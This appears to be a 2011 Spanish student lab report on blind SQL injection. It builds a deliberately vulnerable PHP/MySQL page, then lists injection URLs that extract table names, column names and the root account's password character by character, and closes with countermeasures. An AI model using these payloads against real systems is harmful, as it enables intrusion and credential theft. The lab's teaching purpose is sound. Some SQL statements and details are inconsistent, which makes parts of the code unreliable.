Вы находитесь на странице: 1из 23

2011

PRCTICA SQL INJECTION

Alumnos: Javier Garca Cambronel y Eduardo Bayn Cascajo SEGUNO DE ASIR 24/11/2011

[PRCTICA SQL INJECTION] 24 de noviembre de 2011

BLIND SQL INJECTION


INTRODUCCIN Y PREPARACIN PARA LA PRCTICA
CREANDO LA BASE DE DATOS EN MODO GRFICO CREANDO LA BASE DE DATOS EN MODO COMANDO SCRIPT PHP VULNERABLE

COMPROBANDO LA VULNERABILIDAD
EN BUSCA DE LA TABLA QUE CONTIENE LOS USUARIOS CUANTOS REGISTROS TIENE ESTA TABLA?

CUALES SON LOS CAMPOS QUE CONTIENE LA TABLA USUARIOS?


BUSCANDO EL CAMPO CON LOS NOMBRES DE LOS USUARIOS BUSCANDO EL CAMPO CON LAS CONTRASEAS EN BUSCA DEL CAMPO DE IDENTIFICACIN

INFORMACIN DENTRO DE LOS CAMPOS


EN BUSCA DE LA CUENTA DE ADMINISTRADOR EN BUSCA DE LAS CONTRASEAS ADIVINANDO LAS CONTRASEAS CONTRASEAS DE ADMINISTRADOR QUE HAY QUE EVITAR

CONTRAMEDIDAS
CONTRAMEDIDA1 CONTRAMEDIDA2

SEGUNDO DE ASIR

Pgina 1

[PRCTICA SQL INJECTION] 24 de noviembre de 2011

BLIND SQL INJECTION


Ataque a ciegas por inyeccin SQL, en ingls, Blind SQL injection, es una tcnica de ataque que utiliza la inyeccin SQL. Se evidencia cuando en una pgina web, por una falla de seguridad, no se muestran mensajes de error al no producirse resultados correctos ante una consulta a la base de datos, mostrndose siempre el mismo contenido (es decir, solo hay respuesta si el resultado es correcto). Sentencias condicionales con el tipo "Or 1=1" o "having 1=1" ofrecen respuestas siempre correctas (true o verdadero) por lo cual suelen ser usadas por los programadores como formas de comprobacin. El problema para la seguridad de la pgina radica en que esta tcnica es utilizada en combinacin con diccionarios o fuerza bruta para la bsqueda, carcter por carcter, de una contrasea, un nombre de usuario, un nmero de telfono o cualquier otra informacin que albergue la base de datos atacada; para ello se utiliza cdigo SQL especfico que "va probando" cada carcter consiguiendo un resultado positivo acumulable cuando hay una coincidencia. De esta manera se puede saber, por ejemplo, que una contrasea comienza por "F...", luego contina con ".i...", y luego "..r...", etc (acumula Fir...), hasta dar con la palabra completa. Existen programas que automatizan este proceso de "tanteos" letra por letra en el resultado de la consulta SQL, que un intruso podra enviar inyectado. Definicin Wikipedia

SEGUNDO DE ASIR

Pgina 2

[PRCTICA SQL INJECTION] 24 de noviembre de 2011

INTRODUCCIN Y PREPARACIN PARA LA PRCTICA


Lo que vamos a hacer es montar un Servidor WEB con APACHE + PHP + MySQL. Crear una base de datos y crear un fichero en PHP que realice una consulta con la Base de datos vulnerable. Lo primero que tenemos que hacer es instalar Montar un servidor Web (Apache, IIS) Instalar PHP y por ltimo instalar Mysql. Nosotros hemos optado por instalar Xammp un Servidor WEB que contiene ya todo ello configurado de forma ptima para realizar estas prcticas.

CREANDO LA BASE DE DATOS EN MODO GRFICO


Una vez que hemos realizado esto, procedemos a crear la base de datos, lo podemos hacer en modo comando, el ms recomendado. O utilizar el modo grfico como he hecho para comprobar su funcionamiento. Entramos en la Interfaz, le damos a crear una base de datos, ponemos el nombre de la base de datos, en nuestro caso la hemos llamado prctica una vez hecho esto seleccionamos crear una tabla y ponemos el nmero de campos de los que va a constar, como podemos ver en la imagen de abajo:

SEGUNDO DE ASIR

Pgina 3

[PRCTICA SQL INJECTION] 24 de noviembre de 2011


Una vez que hemos hecho esto, lo que tenemos que hacer, es seleccionar todas las caractersticas de los campos de nuestra tabla y el motor de almacenamiento como podemos ver la Tabla va a estar formada con tres campos Nombre, Password Y Id Cada uno con sus caractersticas propias

Una vez la tenemos configurada, le damos a guardar y veramos un resumen de las operaciones que se han llevado a cabo, o lo que es lo mismo, los comandos que tendramos que introducir si hubiramos optado por el modo texto y/o modo comando

Vamos introduciendo los valores dentro de la tabla.

Y por cada valor introducido nos sale un pequeo el resumen en modo comando de lo que se acaba de llevar a cabo.

SEGUNDO DE ASIR

Pgina 4

[PRCTICA SQL INJECTION] 24 de noviembre de 2011

CREANDO LA BASE DE DATOS EN MODO COMANDO


create database practica;

Indicamos la base de datos que queremos utilizar: use practica; Y a continuacin creamos la tabla con los campos nombre, password e id y sus caractersticas: Crate table `practica,usuarios ( nombre VARCHAR ( 50 ) NOT NULL , password VARCHAR ( 50 ) NOT NULL, id INT ( 10 ) NOT NULL AUTO_INCREMENT PRIMARY KEY ) ENGINE = MYISAM CHARACTER SET latin1 COLLATE latin1; Y rellenamos la tabla introduciendo los usuarios que queramos siguiendo este esquema: insert into `usuarios` values (1, 'root','adm'); insert into `usuarios` values (2, 'javier','123456'); insert into `usuarios` values (3, 'ivan','estrella'); insert into `usuarios` values (4, 'julian','1aB');

SEGUNDO DE ASIR

Pgina 5

[PRCTICA SQL INJECTION] 24 de noviembre de 2011

SCRIPT PHP VULNERABLE


Vamos a crear un script en PHP que haga una consulta con la base de datos vulnerable a un Blind SQL Injection. <?php $host = 'localhost'; $dbuser = 'root'; $dbpass = 'mysql'; $dbname = 'blindsql'; $db = mysql_connect($host, $dbuser, $dbpass); mysql_select_db($dbname,$db); $sql = "SELECT * FROM usuarios WHERE id=".$_GET['id']; $query = mysql_query($sql); if(@mysql_num_rows($query)==0){ die('Error...! :('); } $result=@mysql_fetch_row($query); echo "<h2><center>Blind SQL Injection<br>Ejemplos<br><br>"; echo "<font color='#FF0000'>id: </font>".$result[0]."<br>"; echo "<font color='#FF0000'>Nombre: </font>".$result[1]."<br>"; // echo "Contrasea: ".$result[2]."<br>"; echo "</h2></center>"; die();?>

SEGUNDO DE ASIR

Pgina 6

[PRCTICA SQL INJECTION] 24 de noviembre de 2011

COMPROBANDO LA VULNERABILIDAD
Para saber si un servidor es vulnerable o no lo primero que debemos hacer Es aadirle a la consulta un AND 1=1, que es un valor verdadero. Si la aplicacin es vulnerable nos tendra que devolver el mismo resultado.

http://192.168.1.35 /ejercicios/MySQL/SQL_Injection.php?id=1 and 1=1

Comprobemos que pasa si aadimos un valor falso: http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php?id=1 and 1=0

Ahora lo que podemos hacer es jugar con esto, la pregunta es Cmo? Ahora podemos hacer consultas al servidor acerca de la base de datos teniendo en cuenta que cuando las respuestas sean falsas nos saldr error y cuando sean verdaderas nos quedaremos en la misma pgina. Una cosa a tener en cuenta es que las preguntas que podemos hacerle al servidor solo pueden obtener una respuesta que sea VERDADERO O FALSO Una cosa importante es que el servidor contestara con error tanto si la consulta es falsa como si nosotros indicamos una consulta errnea asique hay que tener en cuenta la sintaxis de las consultas, para que estas sean correctas.

SEGUNDO DE ASIR

Pgina 7

[PRCTICA SQL INJECTION] 24 de noviembre de 2011 EN BUSCA DE LA TABLA QUE CONTIENE LOS USUARIOS
Nos hemos propuesto conocer el nombre de una tabla que es la que contiene todos los usuarios de esta base de datos probamos los posibles nombres que pueden tener las tablas que contienen los usuarios, es decir cules son las ms habituales y entonces probaramos con estas, con la primera tabla que probamos es con la tabla users http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php?id=1 AND (SELECT (COUNT(*)) FROM users);

http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php?id=1 AND (SELECT (COUNT(*)) FROM alumnos);

http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php?id=1 AND (SELECT (COUNT(*)) FROM propietarios);

http://192.168.13.35/ejercicios/MySQL/SQL_Injection.php?id=1 AND (SELECT (COUNT(*)) FROM usuarios);

SEGUNDO DE ASIR

Pgina 8

[PRCTICA SQL INJECTION] 24 de noviembre de 2011

CUANTOS REGISTROS TIENE ESTA TABLA?


Para adivinar el nmero de registros que tiene la tabla, vamos a seguir utilizando la Funcin COUNT: Lo primero que comprobamos es si hay ms de 10 registros en esa tabla http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND (SELECT Count(*) FROM usuarios) > 10; Despus comprobamos si en nmero es mayor a cuatro: http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND (SELECT Count(*) FROM usuarios) > 4;

Y seguiremos acercndonos hasta que finalmente demos con el nmero correcto de registros, que se tendr que comprobar con una igualdad en este caso: http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND (SELECT Count(*) FROM usuarios) = 4;

SEGUNDO DE ASIR

Pgina 9

[PRCTICA SQL INJECTION] 24 de noviembre de 2011

CUALES SON LOS CAMPOS QUE CONTIENE LA TABLA USUARIOS?


http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Cont(nombres) FROM usuarios) En este ejemplo, podemos comprobar la importancia de la sintaxis, pues aqu comernos una simple letra, da al traste con el resultado, pudindonos hacer creer que ese campo no est presente en esa tabla aunque fuera que s.

BUSCANDO EL CAMPO CON LOS NOMBRES DE LOS USUARIOS


http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(usuario) FROM usuarios)

http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(usuario) FROM usuarios) http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(nombres) FROM usuarios) http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(nombre) FROM usuarios)

SEGUNDO DE ASIR

Pgina 10

[PRCTICA SQL INJECTION] 24 de noviembre de 2011

BUSCANDO EL CAMPO CON LAS CONTRASEAS


http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(contrasea) FROM usuarios)

http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(clave) FROM usuarios) http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(numero_secreto) FROM usuarios)

http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(password) FROM usuarios)

SEGUNDO DE ASIR

Pgina 11

[PRCTICA SQL INJECTION] 24 de noviembre de 2011

EN BUSCA DEL CAMPO DE IDENTIFICACIN


http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(dni) FROM usuarios) http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(nif) FROM usuarios) http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(numid) FROM usuarios)

http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND(SELECT Count(id) FROM usuarios)

Esto nos devolver valores VERDADEROS.

SEGUNDO DE ASIR

Pgina 12

[PRCTICA SQL INJECTION] 24 de noviembre de 2011

INFORMACIN DENTRO DE LOS CAMPOS

ADIVINANDO EL NOMBRE DE USUARIO


Lo primero que debemos hacer ya que estamos haciendo un ataque a ciegas, es pensar un poco con esto, nos daremos cuenta que en muchsimos casos nuestro nombre, coincide con nuestro nombre de usuario entonces, teniendo en cuenta esto, tenemos que pensar sobre qu edad tienen esos usuarios en la base de datos? Yo me he centrado en que esta base de datos ficticia contiene nombres de alumnos de nuestra clase entonces me he metido en el instituto nacional de Estadstica http://www.ine.es/daco/daco42/nombyapel/nombyapel.htm y con esta informacin, la cual es pblica, tendramos en principio mucho hecho.

SEGUNDO DE ASIR

Pgina 13

[PRCTICA SQL INJECTION] 24 de noviembre de 2011


Seleccionamos nombres de nacimiento por fecha de nacimiento y provincia de nacimiento, pues no seran los mismos resultados en el caso de que nuestra base de datos fuera por poner un ejemplo del Pas Vasco.

Una vez hecho esto pensamos que edad tendrn mas o menos nuestros objetivos? partiendo de la base de que son estudiantes. He pensado que habrn nacido entre la decada de los 80 y/o los 90 yBueno, dicen que una imagen vale ms que mil palabras aqu la dejo abajo centrada en nuestra clase.

Entonces gracias a nuestra investigacin podemos probar con algo ms especfico y hacer una consulta con nombres completos o ir orientndonos viendo que la j es una letra que se repite mucho y ms factores que podemos darnos cuenta con esta tabla, como tambin sin mirar a ella y pensar que si la primera letra es una vocal, seguramente este seguida de una consonante

SEGUNDO DE ASIR

Pgina 14

[PRCTICA SQL INJECTION] 24 de noviembre de 2011

Para estas operaciones nos ayudaremos de la tabla ASCII

EN BUSCA DE LA CUENTA DE ADMINISTRADOR


Lo primero que tendramos que hacer es poder ver si la cuenta de Administrador est habilitada con ese nombre o parecidos, como el de Adminitrador, Admin, Administrator, Root. Como sabemos que son 4 usuarios los que hay registrados, uno de ellos tiene que ser el administrador y como los nombres ms lgicos para Administrador empiezan por A lo intentamos as la ventaja seria que con derechos de Administrador podramos hacer todo lo que quisiramos en la base de datos, y lo peor que nos puede pasar es descubrir otro usuario que empiece por la letra a. IMPORTANTE: Empezamos comprobando tanto la A mayscula como tambin la minscula 97 y 65. Si buscamos usuarios mejor empezar tambin utilizando el smbolo mayor y menor en vez de igual para ir descartando opciones http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND ascii(substring((SELECT nombre FROM usuarios where id=1),1,1))=97 ; http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND ascii(substring((SELECT nombre FROM usuarios where id=2),1,1))=65; http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND ascii(substring((SELECT nombre FROM usuarios where id=3),1,1))=97; http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND ascii(substring((SELECT nombre FROM usuarios where id=4),1,1))=65; No ha sido fructfero en ninguno de los casos. SEGUNDO DE ASIR Pgina 15

[PRCTICA SQL INJECTION] 24 de noviembre de 2011


Entonces empezamos a hacer lo mismo con la r de root y vemos COMPROBANDO SI ES MAYSCULA http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT nombre FROM usuarios where id=1),1,1))=82;

COMPROBANDO SI ES MINSCULA http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT nombre FROM usuarios where id=1),1,1))= 114

Procederamos con las siguientes letras y veramos que el usuario tiene el nombre de root Marcado en rojo posicin y letra buscada. COMPROBANDO SEGUNDO CARACTER http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT nombre FROM usuarios where id=1),2,1))= 111 COMPROBANDO TERCER CARACTER http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT nombre FROM usuarios where id=1),3,1))= 111 COMPROBANDO CUARTO CARACTER http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT nombre FROM usuarios where id=1),4,1))= 116 Con esto, ya sabemos el nombre de usuario y la ID de la cuenta de Administrador que es: NOMBRE: ROOT ID: 1

SEGUNDO DE ASIR

Pgina 16

[PRCTICA SQL INJECTION] 24 de noviembre de 2011

EN BUSCA DE LAS CONTRASEAS


Lo que ms podra interesarnos ahora es sacar informacin de los password y/o contraseas de los usuarios de una base de datos vulnerables, y todava ms si conseguimos la contrasea de administrador. http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND (SELECT length(password) FROM usuarios where id=1) > 6 Esto nos devuelve FALSO. El password tiene una longitud menor que seis.

Seguimos probando hasta que damos con la cantidad exacta, en este caso cinco como podemos ver en la imagen de abajo: http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1 AND (SELECT length(password) FROM usuarios where id=1) = 5

Tambin podramos pedir el password a partir del nombre de usuario en vez de utilizar el id.

Esto mismo nos vale tambin para conocer el contenido de otros campos. Por ejemplo, la longitud del nombre de usuario o cualquier otro campo que existiera en la tabla, solo tendramos que modificar la sentencia anterior e ir jugando como hemos hecho anteriormente con el id que quisiramos adivinar y tambin con su longitud hasta que diramos con la correcta el esquema sera una cosa as: AND (SELECT length(NOMBRE_DEL_CAMPO) FROM usuarios where id=NMEROID) > LNGITUD

SEGUNDO DE ASIR

Pgina 17

[PRCTICA SQL INJECTION] 24 de noviembre de 2011

ADIVINANDO LAS CONTRASEAS


Pasemos ahora a sacar los caracteres de una contrasea o de otro campo. Para ello vamos a utilizar la funcin LENGTH y la funcin SUBSTRING. Y lo mismo que con los nombres podramos hacer con las contraseas buscando las ms usadas teniendo en cuenta este artculo por ejemplo. Al que podris ir directamente pulsando el enlace de abajo:

Contraseas ms usadas
Segn informa Wired, Bogdan Calin, de la web Acunetix, grab una lista de passwords antes de que desapareciera. En su anlisis de los 10.000 usuarios revela que la contrasea ms comn (aparece en la lista en 64 ocasiones) es realmente muy fcil de recordar: 123456. El ranking de contraseas ms utilizadas seria este, en el caso de que buscsemos usuarios:

123456, 123456789 alejandra 111111 alberto tequiero alejandro 12345678 1234567 estrella iloveyou

daniel 000000 roberto 654321 bonita sebastian beatriz mariposa america

Nosotros buscamos la contrasea de Administrador asique vemos cuales son las ms utilizadas de este tipo en este otro artculo, hay mucha informacin en internet que podemos encontrar al respecto. SEGUNDO DE ASIR Pgina 18

[PRCTICA SQL INJECTION] 24 de noviembre de 2011

CONTRASEAS DE ADMINISTRADOR QUE HAY QUE EVITAR


Los servidores siguen siendo los blancos preferidos por los piratas informticos hoy en da, aparte de engaar usuarios o infectar mquinas. Cuntos servidores an tienen una contrasea sencilla o de origen? Los usuarios crean contraseas para proteger sus sistemas y los delincuentes digitales tratan de adivinarlo para su provecho. Investigadores de la Universidad de Maryland, completaron un estudio usando como carnada 4 servidores Linux abiertos, para ver la frecuencia de los ataques. El resultado fueron 269,262 intentos en un periodo de 24 das. Durante ese tiempo solo 824 intentos fueron exitosos, obteniendo el atacante el nombre de usuario y contrasea del servidor. Esto significa que unas 10 veces al da el servidor fue accedido ilegalmente. Los servidores eran annimos, colocados en un Centro de Datos de la Universidad, sin informacin importante. De haberse usado el nombre de una institucin financiera o un departamento gubernamental, las estadsticas tendran valores mucho ms altos. Entre las 10 contraseas ms usadas y fcilmente deducibles se encuentran: 1. (nombre de usuario) 2. (nombre de usuario)123 3. admin 4. password 5. 1234 6. 12345 7. passwd 8. 123 9. test 10.Abc123 Entonces lo primero que probaramos seria con una r de root otra vez tanto en mayscula como en minscula. http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT password FROM usuarios where id=1),1,1))= 114 Viendo que no tenemos resultado de ninguna de las dos. Seguimos probando con la lista Y probamos con la a, vemos que s que es correcto y empieza por a. http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT password FROM usuarios where id=1),1,1))= 97

SEGUNDO DE ASIR

Pgina 19

[PRCTICA SQL INJECTION] 24 de noviembre de 2011


Entonces seguimos probando con las dems letras de la palabra, contrasea admin

http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT password FROM usuarios where id=1),2,1))= 100 http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT password FROM usuarios where id=1),3,1))= 109 http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT password FROM usuarios where id=1),4,1))= 105 http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=2 AND ascii(substring((SELECT password FROM usuarios where id=1),5,1))= 110

Ahora que tenemos la cuenta de usuario y la contrasea lo comprobamos completamente. http://192.168.1.35/ejercicios/MySQL/SQL_Injection.php? id=1%20AND%20(SELECT%20count(*)%20FROM%20usuarios%20where%20nombre='root'%2 0AND%20password='admin');

SEGUNDO DE ASIR

Pgina 20

[PRCTICA SQL INJECTION] 24 de noviembre de 2011

CONTRAMEDIDAS
CONTRAMEDIDA1

Una posible contramedida sera usar las funciones sprintf y mysql_real_escape_string. Si las aplicamos a nuestra consulta, quedara as: $sql = sprintf("SELECT * FROM usuarios WHERE id=\'%d\'",mysql_real_escape_string($_GET["id"])); De este modo con sprintf damos formato a nuestra sentencia asignando el espacio justo para los parmetros a recoger (%d para un nmero, %s para una cadena, etc) y con mysql_real_escape_string escapamos caracteres especiales y antepone backslashes a los siguientes caracteres: \x00, \n, \r, \, ', " y \x1a:

SEGUNDO DE ASIR

Pgina 21

[PRCTICA SQL INJECTION] 24 de noviembre de 2011


Por lo que la respuesta que enviaremos a una inyeccin SQL ser siempre la de que no existe ese usuario

CONTRAMEDIDA2
Menos efectiva que la primera solo filtra caracteres que no sean numricos pero con estos como hemos visto en este trabajo se pueden hacer muchsimas consultas. Modificamos con esto: $id = $_GET['id']; $id = strip_tags($id); $id = stripslashes($id); $sql = "SELECT * FROM usuarios WHERE id=". mysql_escape_string ($id);

SEGUNDO DE ASIR

Pgina 22